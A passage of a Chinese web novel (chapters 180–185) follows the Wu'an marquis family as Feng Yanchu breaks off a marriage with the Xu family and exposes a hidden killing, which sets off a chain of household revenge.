她感觉自己对儿子已经无话可说,眼底满是失望,随后指着空荡荡的书房,冷冷说道:“侯爷说了,你品行不堪,为人凉薄,这么多年的书都白读了,以后不用再读,科举也不必再考。今后你就在这个院子里待着吧,成婚后便将你分出去,将来过得好也罢,歹也罢,都是你自己的命!”
封砚安此刻才觉得害怕,寒意从骨缝里渗入,父亲放弃他了,不!应该说原本就没有期待过,如今家里更只当没他这个人!轻飘飘一句话,他的仕途就断了!
他承认自己羡慕大哥居长,占了大义的名分;嫉妒二哥不仅深受家中长辈的关注,而且学文习武都没耽搁;不忿三哥虽文武不成,但人缘极好,就连父亲也会时不时关注几分;只有自己如透明人一般,在学习上他下的苦功夫不比旁人小,到头来,结果还是不如人意!
他跪在地上痛哭着,“姨娘!我错了,我真的知道错了!您去求求父亲,找二哥说说情,我明年就要参加院试了!”
院门口,二妹封砚婉一直没进去。当她听见一母同胞的四哥,在此刻想的依旧是他那仕途时,便已明白,对方并未真正认识到自己的错,不过是担心仕途之路断绝罢了。内心无比失望,将原本想要劝说的话咽了下去,转头离去。
封砚婉前脚刚走,后脚三郎封砚池就气冲冲闯了进来,一脚将人踹翻在地,指着对方的鼻子骂道:“封老四,你不是人,外头的那些渣滓折辱家里人,你不冲上去打他们也就罢了。竟然眼巴巴贴上去,你个没骨头的畜牲,封家怎会有你这样的败类!”方姨娘见此一幕,不忍相看,甩袖离开。
三郎将人打了一顿,仍不解气,又跑到厨房警告下人不许给对方送吃的,先饿上两天再说!在他心里,老四就是过得太好了,这才生出坏心,要是去外头瞧瞧那些连饭都吃不饱的百姓,就会知道那才是生活的常态。
许家。
在许家所有人看来,不过是小辈说话不谨慎,小事而已。
所以,许大郎回去之后未受到任何惩罚,嫡母仅将其叫去嘱咐了一番,让他以后说话小心些。
回到自己屋里以后,许大郎便将当日发生的事情抛之脑后,甚至还有心情同下人闲谈嘲讽他人。
“郎君,您说这封四郎被他二哥抓了个正着,回去会怎样?”这下人就在当场,所以发生之事尽收眼底。尤其封砚初那个骇人的气势,至今想起还让人害怕,不免有些担心。
许大郎冷哼道:“那是他蠢,我不过说两句闲话罢了,他就受不了了?往日里还在那里装相,表现出一副好弟弟的模样,不过是轻轻一挑拨就露了真面目,说到底还是心里嫉妒。”
他说到此处不禁得意的笑起来,“只是没想到效果竟然这般好,这封砚初就在隔壁,还听了个正着!哈哈哈……”
“那这封四郎回去岂不是惨了?”下人其实更担心他家郎君因此得罪封修撰,以后二姑娘在武安侯府的日子不好过,到时候大娘子肯定会埋怨郎君。
“他惨不惨的关我何事?”许大郎犹如完成了一件得意之作般,竟然哼起了小曲。
第一百八十章 有些话想提醒您
许大郎还没得意多久。
次日,武安侯,大娘子,以及封砚初兄弟二人便已上门。
见此一幕,许大人最初还没有察觉,反而笑迎:“侯爷莅临寒舍,真是让许家蓬荜生辉啊!”
许家大娘子却十分疑惑,说是纳征又不曾带聘礼上门,于是问道:“不是过两日才是纳征之期吗?”
大娘子听后挥手示意下人将东西拿上来,冷哼一声,“你许家的门第太高,我武安侯府配不上。这是庚帖与赠礼,如今特意交还,你们也将庚帖和赠礼还来,两家亲事就此作罢!”
许大人内心震惊不已,质问道:“这是何意,眼看着就要大定,你们武安侯府这是想悔婚!”
封简宁面无表情,“许大人,你家女儿还没进我武安侯府的大门,你许家的手就伸的这般长,觉得我家所有人都任由你们拿捏了!”
许家大娘子立即解释道:“亲家这话岂不是冤枉人,我家何曾有这样的心思?”
就在此刻,封砚初突然听见一声哭泣与离开的声音,想来应该是在屏风后面偷听的许家娘子。
不过他并未搭理,反而接话道:“冤枉?敢问大娘子,难道我昨日请你家里人去半日闲茶馆接许大郎君回家,是假的不成?旁人家里要不来的是安远侯,要么是方大郎君,偏你家门第高贵,只派了一个管家来打发我。”
他说到此处,眼神犹如刀锋一般刺向对方,“既然这般看不上我,何必结这个亲!”
许大人见封砚初绕过其父直接开口,而武安侯对此似乎习以为常,便知此子可以决断家中之事,心里不禁有些后悔。
他先是瞥了一眼自家娘子,随后赔笑道:“封修撰言重了,不过是小孩子之间的玩闹,言语上有些不周罢了,我还说一会儿让犬子带着东西上门赔礼呢,可巧你们先来。”
封砚初听后冷笑道:“赔礼?我可受不起许大郎君的礼。毕竟他可是要将我长姐随意打发出门,而我不过是一个庶出的次子,毫无能力,了不起一副薄产就分出去了。将来我武安侯府的一切还不都任由许家女儿拿捏了?我母亲也要看许家人的脸色过活!”
他说话间目光扫视着许家夫妇二人,像是要在对方身上灼出一个洞来,“我竟不知许家还有如此心思,这是将我武安侯府当成自家宅院!当真是好教养啊,这许大郎更是了不得,连个秀才都没中,竟瞧不起我这个陛下亲封的状元!”
说到最后更是吐出诛心之言,“许大人新任太仆寺卿,难道在许大郎心里,便可以凌驾于陛下之上?莫不是你们许家有不臣之心?”
许大人被气的‘蹭’一下站起来,指着封砚初道:“封砚初,莫要信口雌黄!”随后朝上拱手说,“我许家对陛下忠心耿耿,从无二心!”
封砚初不甘示弱,亦站起身,“那么请问许大人,为何令郎这般瞧不起陛下亲封的状元郎,还是说你们觉得陛下封错了?”
许大人此刻恨不得将儿子毒打一顿,他可是听说过此人嘴巴之毒,“此事确实是本官之过,未能好好教养儿子,以至于言语不当,但我自会处罚,就不劳你操心了!”
封砚初漫不经心的瞥了对方一眼,随即坐下笑道:“那是自然。”
许大人被这笑弄的有些发毛,这就轻松的放过了?不过两家都已经弄成这样,婚事肯定是不成了,便朝自家大娘子吩咐,“将庚帖和赠礼拿来,退亲!”
许家大娘子其实很满意封砚开。奈何因为大郎说话不注意,自己也没重视,就这么白白失了这门亲事。不过回头一想,封大郎固然是个好的,奈何他那二弟得理不饶人,实在太厉害了,如此退亲也好。没一会儿,她就将东西拿来,并交给唐大娘子。
大娘子接过庚帖和赠礼一瞧,没什么差错,只是脸色依旧难看。
封简宁见亲事已经退了,巴不得早点离开,“如此,就不多打扰了!咱们走!”
就在一行人即将出许家正堂之时,封砚初突然转过身,看向许家大娘子。
许大人都有些应激了,气道:“亲事已经退了,你又想做什么?”
只见封砚初嘴角浮出一抹笑,“没什么,只是有一些话想提醒您。”
“你能有什么好话,快走,快走!”许大人可是领教过此人的威力,担心又说出什么不好来,立即挥手赶人。
就连封砚开也轻轻拽了拽二弟的衣袖,“二郎,事情已了,走吧。”
封砚初拂开大哥的手,继续看向许家大娘子,郑重道:“我虽是个外人,可也不忍心大娘子继续被蒙蔽,有些话实在是不吐不快!”
“什么?”许家大娘子果然感兴趣。
“听闻许大郎君待您如亲母,可试问一个能将生母都抛之脑后的人,他待你的真心又有几分?”此刻,就是封砚初的报复。
许大人听见这话连忙上前阻止,却被许家大娘子一把拽住,她看向封砚初的眼神十分认真,“你继续说!”
“听闻你原本是有亲生儿子的,只是幼时爬树不小心跌下来,不治而亡,难道你就没怀疑过,令郎当真是自己调皮而非旁人蛊惑?”封砚初见对方想说些什么,抬手示意别出声,不过发现对方脸色铁青,明显觉得他所言为真。
“据我所知,您还没有嫡子之前,许大郎十分受宠,自从您生下嫡子,他的地位一落千丈。请问您的儿子死后谁获利最大?许大人当真不知道,还是故意隐瞒?大娘子,我虽年轻,可也是男人,最清楚他们在想什么。许大人想要的不过是家中太平,旁的都不重要,包括嫡子的死因,毕竟他不止一个儿子!”他说完特意看了看许大人,随即离开。
此刻,身后传来许大人歇斯底里的怒吼,“封砚初!我要杀了你!”
他听后回头又添了一把火,“大娘子!许大人恼羞成怒,可见此事是真的!”
第一百八十一章 有些底线必须守住
此刻无论是封简宁也好,还是封砚开,亦或是大娘子。三人皆用惊愕的眼神看着封砚初,他们没想到二郎竟然来了这么一手。
回去的路上,大郎硬生生与封砚初挤在一辆马车,原本父亲封简宁也要上来,还是被大娘子拉住,来了一句,“回去再说。”这才作罢。
过了好一会,大郎终究还是没能忍住,接连发问,“二郎,你说的可是真的?你什么时候查到的?”
封砚初并未回答,而是掀开帘子看向外头那往来的百姓,虽忙碌,却又对生活充满期望。
良久,才用平静的声音说道:“重要吗?”
大郎点头神情很是认真,“很重要!”
封砚初长叹一声,“回去再说吧。”
谁知刚回去,他才捧起茶杯,连屁股都没坐稳,就见其余人目光灼灼地看向自己。
大娘子的眼睛都快冒光了,她也是忍了一路,“二郎,你别喝了,赶紧说!”
封砚初匆忙喝了一口茶解渴,这才说道:“其实此事是真是假我并不知道,但我见过许大郎的德行。所以在这种事情上,更喜欢以人性之恶来揣测。”没错,在许家之时,他是一口水都没喝,还说了那么多的话,这茶也只稍稍缓解了口中的饥渴。
他说到这里眼睛微眯,瞳孔中划过一抹讥讽,“对我而言,真假并不重要。原本不过是想在许家大娘子心里,种下一颗怀疑的种子罢了,可许大人的反应给了我意外之喜,此事居然是真的!”
他想起前世一篇小说里有这么一句话,此刻正合适,“我曾看过一本书,书中有一言:一个家族,若从外头杀来,一时是杀不死的,只是古人曾说‘百足之虫,死而不僵’,必须先从家里自杀自灭起来,才能一败涂地!”
他的嘴角微微弯起,让人瞧了心惊。可说出来的话,亦是充满森森寒意,“杀子之仇,不共戴天。想来不久之后,便会有许大郎君的消息了。”
封简宁震惊的看着二郎,他没想到对方三言两语,便如此轻松的完成了借刀杀人,更是将许家搅和的家宅不宁。
此刻,他内心十分复杂。遥想二郎幼时是那样的顽皮却又心善,如今成长到如此地步,是他,也是家中现状逼出来的。
他拍了拍对方的肩膀,“二郎,你长大了,知道了兵不血刃。武安侯府将来有你们兄弟二人,为父心甚慰。只是,二郎啊,为父知道你聪慧,可有些底线必须守住!”说到最后,他神情极其认真。
封砚初站起身来,拱手郑重道:“父亲,请您放心,儿子知道自己应该怎么做!”
老太太见状连忙缓和气氛,笑着对儿子说道:“你未免太严肃了,二郎自小就知轻重,对人也重情重义,你的担忧太多余啦~”
大娘子也连忙打哈哈,“是啊,这次要不是二郎,只怕许家女儿真就嫁进侯府了,到时候兄弟阋墙可是玩笑的?”
气氛霎时间轻松了许多,封砚初说出来自己内心真实的想法,“父亲,我既然进了这官场,自然是要有所为的。不仅仅是为了家族,更是为了大晟,为了外头那些普通百姓。”
大郎听了这话,直到此刻才彻底放下心神,赞道:“好!二郎,这才应当是君子所为!”
之后,家里又恢复成以前的模样,不同的是四郎再也跨不出那个院子,大娘子与老太太重新开始为大郎物色妻子。
没两日,安远侯府便传出,将秦三郎分出去的消息。按理来说父母在不分家,可安远侯身体康健,竟将这个三儿子分出去,可见就连家里人也不待见对方。
而方二郎君回去当日就被嫡母打断了腿。整个过程中,方大人不仅没为其发声,甚至还斥责次子不学无术只知惹祸!
让封砚初没想到的是,方大郎君不仅亲自上门说了这件事,还带了道歉的礼物。
其实方大郎早就听闻封砚初之名,有心认识一番,只是苦于没有机会,如今正好借着机会前来。
‘枕松闲居’
“上次是家弟言行无状,那日回去之后,父亲和母亲气的不行,将他打了一顿板子,短时间内是出不了门了。今日在下特意上门致歉,些许薄礼勿要嫌弃。”方大郎君说话间,让下人将礼品带了上来。
封砚初并未推拒,大大方方的收了,最起码方大郎此人还是不错的。但客气的还还是要说的,“到底年轻不知事,又常与闲杂之人在一处,自然受些影响,以后远着些便好了。”
方大郎君轻叹道:“但愿如此吧。”随即转变话题,透过窗户看着还在院子里练武之人,猜测着,“那位是封三郎?”
封砚初点头道:“是啊,前几年还有些淘气,今年竟长进了许多,主动想学东西,我便将他带在身边教导。”
其实,自从方大郎君进门之后,便发现屋内竟然还摆着武器,这才察觉对方居然还习武,竟是个文武双全之人,心里愈发钦佩。
“瞧封三郎如此刻苦,难道是想参加明年的武试科考?”
封砚初暂时并未有此想法,“明年武试科考,整个大晟有不少习武之人参加,那些人都是积年练习,他才开始练习,恐怕力有不逮。”
“武试科考断了将近十年,明年好不容易要来一场,若是错过岂不可惜,何况如今武将缺失,陛下正是用人之际。”不管实际情况如何,最起码在方大郎眼中,这封三郎看起来练的像模像样的。
因为方大郎要参加三年后的会试。之后,封砚初还给对方讲了一些会试心德,况且他也不是狭隘之人,甚至还将自己写的策论借了出去。
第一百八十二章 饱受丧子之痛
许大郎得知武安侯府的人上门消息之后,心中很是奇怪,“武安侯上门来了?”
下人点头应着,小心翼翼地回答,“是啊,郎君。不仅是武安侯,还有他家大娘子,世子以及封二郎君都来了,只是瞧着脸色不大好。”
许大郎听见这话,心里咯噔一下,“你说他们是来做什么的?不会来退亲的吧?难道这封砚初真有这份能耐?”
其实在他心里,封砚初不过是有些出息罢了。毕竟是庶次子,家里难道还能全听对方的不成?自己只是言语无状罢了,封砚初知道了又能如何,更何况又不是什么大事!
那下人听后摇头道:“这个……小的也说不好,即便不是来退亲的,那也是想要找个说法。”
许大郎听见这话心又放进肚子里,继续半躺在丫鬟的腿上,懒洋洋挥手:“如此那便更不着急,你且先下去,留意着前面就是。”随后任由丫鬟服侍,真是好不自在。
话说许家大娘子自封家一行人离开之后,就对一旁的下人吩咐:“将王妈妈叫来!再让我的陪房将他们一家人全绑来!我儿当年到底怎么摔的,她要给我说的清清楚楚,否则便将他们全家发卖到朔川挖石炭!”
许大人见状连忙阻拦,“你休要听风就是雨,难道没听出来那封砚初乃是挑拨,就是为了扰得咱们家宅不宁!”
许家大娘子一把将人推开,指着对方的鼻子骂道:“你给我滚开!我还没找你算账!是真是假我听得出来,若真是假的,你方才为何那般激动!”许大人见对方已经在爆炸的边缘了,趁人不备溜了。
没一会儿,王妈妈就被绑到跟前。
“王氏,你原是我儿的乳母,贴身照看,他到底是怎么爬到树上的!”许家大娘子强压怒火,又补了一句,警告着,“你最好如实说来,否则便将你全家发卖朔川!那是什么地方你应当知道。”
王妈妈跪在地上,哭诉道:“大娘子,奴婢虽是下人,可也是将郎君疼在心里的,他没了,奴婢的心如同被摘了一般。委实是郎君调皮,趁奴婢没留意偷偷溜出去,没想到竟爬到树上摔下来了。”她说到此处竟‘呜呜’痛哭起来,还用袖子擦着眼泪。
许家大娘子并未动容,反而脸色铁青,冷笑道:“好,既然嘴硬,来人!给我打!我的儿子没了,她的儿子孙子都别想活!”
“是!”
王妈妈的两个儿子和一个孙子都被压在长凳之上。随着‘啪啪啪’三四板子下去,臀部就被打出了血,那小孩子不过七八岁的年纪,如何扛得住,没挨几下,眼见就要昏过去了。
那大儿子心疼的喊道:“娘!你就说了吧,否则我儿子就要没命了!娘!快说啊!”
二儿子也哭诉道:“娘,这说白了就是主家的事情,您也是受害之人!”
在两个儿子的劝说之下,王妈妈终于开了口。
原来,许大郎见家里自从有了嫡子之后,自己的地位一落千丈。本来是想哄着弟弟爬树,好挨上一顿骂。可没想到对方竟然失脚掉下来,头磕在石头上死了。
许大人知道长子闯了大祸,可是次子已死无可挽救,而他膝下仅剩这么一个独子,当下便封了王妈妈的口,这才被隐瞒下来。
许家大娘子听后痛心不已,气的都要将嘴唇咬出血来,“好啊!好啊!不愧是一对豺狼虎豹,心思恶毒的父子,竟生生瞒了我这么多年!”
又一个狠厉的眼神看向王妈妈一家人,咬牙道:“叫人牙子来,将他们一家全都给我发卖到朔川!还有,我不想再听见他们说出一句话!”
“是!”
王妈妈不停地磕头求饶,“大娘子,饶了我们吧,这都是大人的意思啊!奴婢不过是一个下人,只能听命行事啊!”
“可你是我儿的乳娘!明知道真相,这么多年只字不提,让我饱受丧子之痛!但是你那两个儿子呢?竟用我儿的命得了好处,一个成了管事,一个成了许大郎的亲信!饶了你?如何对得起我儿,对得起我!”许家大娘子字字啼血。
之后,王妈妈一家便被灌下汤药,毒哑了嗓子。许家大娘子将人免费送给了人牙子,她只有一个要求,那就是将人卖到最苦最累的地方。
许大人见自家大娘子犹如疯了一般,心里既恨封砚初挑拨,又担心长子的安危,于是赶紧去通知对方,让其先在外头躲上两日,可没想到竟然被大娘子的陪房下人拦住了。
气的骂道:“你们这是要翻天不成,竟然还敢拦我!”幸好他早有准备,否则还真就耽搁了。
这些下人虽然拦着,终究不敌许大人从外院带来的一众男仆。
话说许大郎君枕在丫鬟的腿上一通好眠,对外头发生的事压根不知道。睡得正香之际,脸上突然挨了一巴掌,正要破口大骂。瞧见是父亲,这才捂着脸疑惑道:“父亲,你打我做甚?”
许大人懒得计较其他。且先让儿子躲一躲,等大娘子消气之后再说,“当年的事情,你母亲已经知道了。我趁着她处理下人之时,偷空来的。你赶紧去外头躲上两日,我先劝劝她,等她气消后你再回来。”
许大郎听后也是惊慌不已,拿了一些钱财,带着下人匆忙离开。所以,当许家大娘子带人赶到之际,人早已经跑了!
“哼!跑得了和尚,跑不了庙!你是离开了,可你姨娘还在!”说罢,一边派人出去找许大郎,一边气冲冲得朝其生母住处而去。
第一百八十三章 多的是法子治你
许家大娘子闯进去之时,许大郎的姨娘还盘腿坐在炕上纳鞋底,从样式大小来看,明显是许大郎的。
那姨娘见大娘子进来下意识的挡了挡手里的东西,随后立即下来行礼。
大娘子并未叫起,而是绕过对方,走上前,用拇指和食指捻起纳到一半的鞋底扫了两眼,紧接着将其扔在地上,冷笑道:“敢情你们母子二人在唱双簧呢,将我当成傻子玩!当真好样的,今天我便让你知道什么是嫡庶尊卑!”
姨娘吓得‘扑通’一声跪在地上,连连叩头,“大娘子,您误会了,大郎……哦,不,是大郎君与您情同母子,妾身只是因艳羡,这才私底下偷偷的,都是妾身思念之故,与大郎君毫无关系。”
大娘子居高临下道:“你也不必求情!竟还穿着这么好的绸面,来人!扒去她的衣裳,将人关入柴房,一口水,一口米也不许给!”
随后稍稍靠近,用恶狠狠的眼神看向对方,“不要以为你生了大郎,如今又不是奴籍,没办法卖了你。我多的是法子治你,便是将你饿死,对外称作暴病而亡又如何?没人会救你!带走!”
可接下来一连两日,也未找到许大郎的踪迹。若是让她就此放弃心中不甘,还是女儿出了个主意。既然找不着人,不如示弱,让许家所有人都以为她消了火气,到时候许大郎自然会回来,只要人回来,多的是办法收拾他!
果然就在许大郎的姨娘饿死之后,许大人亲自来找大娘子,还陪着笑脸,“我知道瞒着你是我不对,可当初也实属无奈,难道二郎没了,我这个做父亲的不心痛吗?”
他见对方依旧没理自己,又劝道:“你生气是应该的,可现在下人已经被你发卖,大郎的生母也没了。这些天过去了,你的气也该消了些。”他是好话说尽,这才让人态度软化。
紧接着,次日。
许大郎就回来了,他连自己姨娘之事,问都没问一句。直接跪在大娘子身前磕头认罪,声声涕泪,最终换得大娘子将他亲自扶起来。
许大郎认为事情就已了结。但让他没想到的是,大娘子如此狠辣,硬生生将他姨娘饿死。此刻,他脸上挂着泪,将仇恨埋藏心底,暗暗发誓,早晚有一日会让对方为姨娘的死,付出生命的代价!
大娘子也表现出一片慈母之心,仿佛已经原谅了眼前之人,可只有她自己清楚,复仇才刚开始!
直到寒冬之际,封砚初听到了一个消息。
那就是许大郎感染风寒不治而亡!紧接着便是许大人因丧子之痛亦卧病在床,直接失去了太仆寺卿的官职。而许家大娘子,却将家里唯一年幼的庶子抱养在身边。
随着冬季的第一场雪落下,三司审查多日的案件终于有了些许进展,有不少人因此落马,其中就包括信国公。
而紧接着,信国公府被查抄,陛下甚至派了京西武备营的人前往青州,协助三司查抄徐家以及有牵连之人。
临行前,陈泽文来了一趟‘枕松闲居’,可他竟然将沈在云也带来了。
阁楼之上。
火炉虽将寒气驱散了一些,可毕竟长久没人来此,依旧有些冷。三人围坐桌前,旁边的小暖炉之上温着酒。
封砚初身上裹着一件狐裘,他将杯中的热酒一饮而尽之后,看着外头的皑皑白雪,略带抱怨道:“这上头除了日常打扫,鲜少有人来,一到冬日更是冷清。要我说还不如到楼下屋里坐着,也比这里强。”他实在是嫌冷不想上来。
陈泽文听后轻轻摇头,“二郎,要说你也是勋贵子弟,又颇具文采,枕松闲居赏梅的视野这么好,怎的不懂得欣赏呢?”
沈在云对于冷不冷的并不在乎,闻言更是指着不远处问道:“赏梅?难道那里是一片梅园?”
陈泽文点头道:“确实是一片梅园,只可惜梅花还没开,否则坐在这里饮酒赏梅,更是绝妙。我家里的阁楼虽然比二郎这里的好些,底下也种了些梅树,只是不如广林巷的广博丰富。”
封砚初为两人添酒的同时,问道:“你不是明日就要去青州了吗?怎么今日还有闲情逸致来我这里?”
陈泽文端起酒杯浅饮一口,“你还不知道我家?自从我母亲知道我要去青州,何况还是第一次出远门,便早早的开始收拾,要不是我再三精简只怕东西更多,如今早已妥当。”
他说到这里叹道:“我这是去办公事,又不是去游玩,带那么东西没得让人笑话。”
沈在云听到此处笑道:“这也是公主的一片慈母之心。不过,这次陛下怎么派了你们京西武备营的人去青州?”
陈泽文闻言神色变得严肃,“原本是玄麟卫去青州的,可是西戎以及其余藩属国的使臣过些时日就要进京了,陛下为了以防万一,便将玄麟卫留在了京城。”
封砚初眉头微蹙,“怎么选在这个时候?虽说现在案件进展不小,但是还有余患未除,朝中也正值多变之际。”
陈泽文对此也是疑惑不解,“谁说不是呢!可西戎已经提出来了,咱们大晟乃是上国,况且现在朝廷又处于微妙之时,西戎这几年虎视眈眈,不好轻拒,只能谨慎处之。”
就在这时,封砚初提出一个观点,“我总觉得西戎此次来大晟的目的,恐怕不止是探听虚实这么简单。再说他们为何不放到明年,非要选在咱们清理军中糜烂之时进京。”
沈在云也说道:“是啊,这前后不过相差几个月而已。等到明年开春,三司必定早已审理完毕,朝政也会正常运行,非要如此着急。”
“哼,他们这是为了搅乱大晟,真是狼子野心!”陈泽文恨不得此刻就去北边,将西戎狠狠打一顿。现在,他竟然有些羡慕孙延年了,起码可以和西戎真刀真枪的干。而不像他,在京西武备营看那些人打架斗殴。
第一百八十四章 上我家门恶心人
随着陈泽文离京之后,武安侯府的日子仿佛又回到以前的平静。
直到有一日,恰逢休沐,外头还飘着雪,封砚初难得晚起,正要起身穿衣裳,只见李妈妈面带焦急之色进来。
他轻叹一声,无奈道:“妈妈,我还没起呢,要是有事你一会儿再进来。”
李妈妈眉间皱起,连连摆手道:“哎呀,二郎,信国公家的人全下了大狱了。”
“他家不是早就下了大狱,这又有何奇怪的?”封砚初不解道。
李妈妈立即又说:“若仅仅如此也就罢了,可那徐三郎的一双儿女因为太过年幼,已经被放了出来,说是如今无处可去,竟被人带到侯府门前大喊大叫,要咱家大姑娘负责养着。”
“什么?我姐姐已经与那畜牲和离,再说难道他徐家族人死绝了不成?偏要来恶心我家,真是无耻之极!”
李妈妈气道:“谁说不是呢,我方才从那边过来之时,侯爷和世子正在门口拦着呢。”
封砚初匆忙穿衣洗漱,骑马朝侯府而去。刚到门口就看到有一圈人围着,东张西望,甚至还能听见孩子的哭声,以及周围人的叹息和议论声。
他见状皱眉呵斥道:“都围在这里做什么?”
封简宁和大郎见他来了,连忙招手道:“二郎,你快过来瞧瞧这些没脸没皮的!”
其中一个年纪颇大的老丈看见封砚初之后,立即扑上来哭诉,“封二郎君,求您可怜可怜这两个孩子吧,如今他俩无父无母。若非实在没办法,也不会求到武安侯府门前,求大姑娘看在与三郎,夫妻一场的情分上,收留这两个孩子吧。”
大郎见状气的冲上来,指着那人斥责,“我姐姐早已经与徐三郎和离,今后再无干系,快将这两个孩子带走。再说难道他徐家就再无族人不成?偏要上我家门恶心人。”
就在那老丈还要说些什么之时,封砚初见大哥顾及两个孩子年幼,这才被人拿捏,上前几步,“大哥心善不忍伤及两个孩子,只是这人正因此才肆无忌惮,既然他们不要脸,你又何须给他们留脸面。”
说到此处,扫视众人,沉声道:“你们既然欺上门,就别怪我撤掉遮羞布。信国公勾结西戎出卖大晟,其子徐三郎更是畜牲不如,将亡妻薛氏殴打致死,却隐瞒众人,以至于我姐姐误嫁他家,没少遭罪,若非那徐三郎自己贪花好色,烂饮无度,又怎会瘫在床上?”
“而这两个孩子,当初对我姐姐更无半点尊重。我家还未找他家来算账,今时今日,竟还敢上门骚扰,难道他徐氏族人死绝了不成?连两个小孩子也养不起,却要死乞白赖的攀扯一个外人,是何道理?”
周围人听了原因,议论声顿时变大了不少。
“什么?这人也太不要脸了。”
“就是,这都和离了,还上门滋扰。”
“这信国公不是好人,他家里也都有样学样,怪不得被陛下收拾了,活该。”
就在这时候,几个人匆匆赶来,其中为首的一人立即上前拱手,“小老儿见过武安侯,见过两位公子!”
封简宁之前因为有两个儿子在前面顶着,一直没说话,现在见徐氏族人前来,便指着那两个孩子质问:“这两个孩子是你们授意,在我武安侯府门口闹事的?”
那老头连忙解释,“实在冤枉,我们也是刚知道,这才匆忙赶来。”说到此处,对那老丈骂道:“还不赶紧将人带回去,别在这里丢人现眼了!”
“不是你,还能是谁?”大郎并不相信。
“说来惭愧,信国公一家下了大狱,可这杨氏上了善慈庵祈福,因前些日子剃度出家,所以朝廷便放过了她。只是没想到此人不甘心,这才让人带着两个孩子来闹。”老头说到此处,再次行礼道:“还请侯爷放心,小人必定将此事告知善慈庵的住持,并警告杨氏不得胡为。”
封简宁眼神透着火气,“你既如此说,这一次我且饶了你。她若安生也就罢了,我武安侯府不至于欺负一介妇孺。倘若她依旧胡作非为,即便是出家为僧,也休想逃脱惩治。”
“是是是,小的一定将话带到。”那老头接连拱手点头,随后一行人匆匆离去。
封砚初没想到,当初无意为之,不仅意外让杨氏逃脱惩罚,如今还有力气生事。她也是蠢得厉害,这个时候,不带着两个孩子安静过活,竟然还敢上门。不过经此一事,徐氏一族的声誉算是被她彻底败坏了。
周围人散去之后,封简宁这才关心道:“来的这般匆忙,可吃了早饭?”
大郎说道:“其实你不必来,他们不过是想添些堵罢了,不能拿咱家如何。”
封砚初哼了一声,“没想到当初一个无意之举竟让那杨氏逃脱了牢狱之灾,竟还上门滋扰真是晦气。今日休沐,又下着雪,我好容易能多睡一会,竟被这起子人毁了。”
封简宁拍了拍儿子的肩膀,“我们才吃到一半,你既回来了,正好一起用饭。”
几人刚进门,就看见长姐一张脸气的通红,二妹封砚敏和三妹封砚潼两人在一旁安慰。可封砚初却感觉自己几乎能听到对方咬牙的声音。
老太太和大娘子连忙问道:“如何?”
大郎将方才的事情复述了一遍,又道:“以后徐氏一族是彻底败了,能不能继续留在京城都两说呢。”
大娘子长舒一口气,她倒不是担心徐氏一族如何,只担忧外头议论女儿是非,随后又看向封砚初道:“二郎匆忙回来,还没用饭吧,方才大家都无心吃饭,现在让厨房重新备些饭菜,咱们一起用。”
第一百八十五章 他要是不听话你只管打
饭桌上,封砚初对今日早晨发生的事情虽不齿,但仍旧心有疑惑,“父亲,信国公发生犯了大的事情,那两个孩子虽然年幼,按理来说虽不会处以极刑,但也不会这般轻易放出来。”
封简宁听儿子如此问,长叹道:“老狐狸到底是老狐狸,信国公对外一概只承认给青州徐家的生意行了方便,可对于走私,变卖兵器一事压根不知道。都是青州徐家瞒着他干的,他自己最多只起了一个穿针引线的作用,别的一无所知,将所有罪责全都推给了青州。”
封砚初深吸一口气,沉默了好一会儿,才道:“那岂不是说,要从轻处罚了?”
封砚开紧紧攥着筷子,看着实在拨弄碗里的粥,实在内心也不平静,就连声音也比平日低沉了许多,“估计到最后也就是剥夺爵位,信国公死罪难逃,其余人流放,但他保全了家人的性命,而那两个孩子年幼失怙,便提前放出来了。”
封简宁目光扫过诸人道:“陛下本来下定决心彻底清除的积弊,奈何西戎入京在即,若此刻大动干戈,恐朝堂不稳,与大晟有害无益,便先清除要紧部位,剩下的只能以后再说。”
封砚初听后沉默不语,就连咀嚼的速度都慢了几分。
长姐封砚敏心中升起郁郁之色,嘴角扯出似笑非笑的弧度,语气中带着一些嘲讽,“以后?只怕那些人逃得这次,便没有以后了,这次清缴进行的轰轰烈烈,到最后竟成虎头蛇尾之势。”
原本就不甚欢愉的早餐氛围变得愈发沉重,直到老太太轻敲桌面,“好啦,还让不让人吃饭了,饭桌上不许谈论朝政!”
此刻,封砚初才脸上挂着笑,说道:“都是孙儿不好。”
老太太故意剜了一眼,“罢了,就不同你计较了。”
一顿饭结束,他并未着急回去,而是去内院看望姨娘。刚进门,就见姨娘长吁短叹的和张姨娘两人说着话。
“谁说不是呢,老四怎么这么糊涂,我前天去瞧她,眼睛都哭肿了,她以前是多么宽和的人啊。”张姨娘一边嗑着瓜子,一边摇头惋惜。
“想来有二姑娘陪着,会好些。”王锦娘是个十分心软之人,好些时候旁人还未如何,她先泪眼连连,这次竟罕见的说出这话来。
封砚初行礼道:“姨娘,张姨娘。”
直到这时,王锦娘才注意到儿子来了,连忙起身相迎,为他拍去肩上的雪花,“外头还飘着雪呢,你怎么回来了?”
“有些事情要处理,所以趁着休沐回来一趟。”封砚初并不想将外头的事情告知姨娘,免得对方担心多想。
而王锦娘见儿子不想说,亦未强求。
只是张姨娘到底惦记儿子,吐了嘴里的瓜子皮,问道:“二郎,你回来了,那三郎呢?”
“我回来的急,三郎还在广林巷呢,这个时候应该看书吧。”封砚初估摸着时间说道。
“看书?就他?”这并不是张姨娘不相信儿子,实在是太了解对方,这些年她也没少跟着遭罪,挨骂。
封砚初笑道:“明年陛下要举办武试科考,我想让他试一试,何况这武试科考可不仅仅考武艺,还要考兵法,他若是背不过,我可是要罚的。”
张姨娘拍手笑呵呵道:“哎呀,三郎自读书以来,那凳子上就像长钉子一般坐不住,我原本以为他这辈子就这样了,幸好有你看顾,他要是不听话你只管打。”
“张姨娘说笑了,自从青州之行后,三弟长进许多。”封砚初依旧嘴角含笑,十分客气道。
张姨娘听见二郎这么说,她的心也算是放进肚子里了,转头对王锦娘告辞,“锦娘,既然二郎回来了,我就不打扰了,改日咱们再闲聊。”
“唉,好。”王锦娘将人送出门,这才回来。她虽然很同情方姨娘,方才与张姨娘也在谈论四郎,但她心里清楚四郎这是走歪了。
毕竟别说一家子兄弟,就是同族旁支,在外头听见别人说自己族人之事,也要上前辩驳两句,可偏偏四郎无动于衷,岂不是让人心寒,内外不分了?
封砚初也只装作不知道,方才在饭桌之上,他也发现二妹妹与往日相比沉默了许多,可四郎错就是错了。
母子二人说了一会话,王锦娘终究心软,说道:“我瞧着二姑娘这几日郁郁寡欢的,人也不如以前活泼,更何况侯府下人不少,也管不住上上下下那么多说闲话的嘴,不如你将人带去广林巷住两日,散散心?”
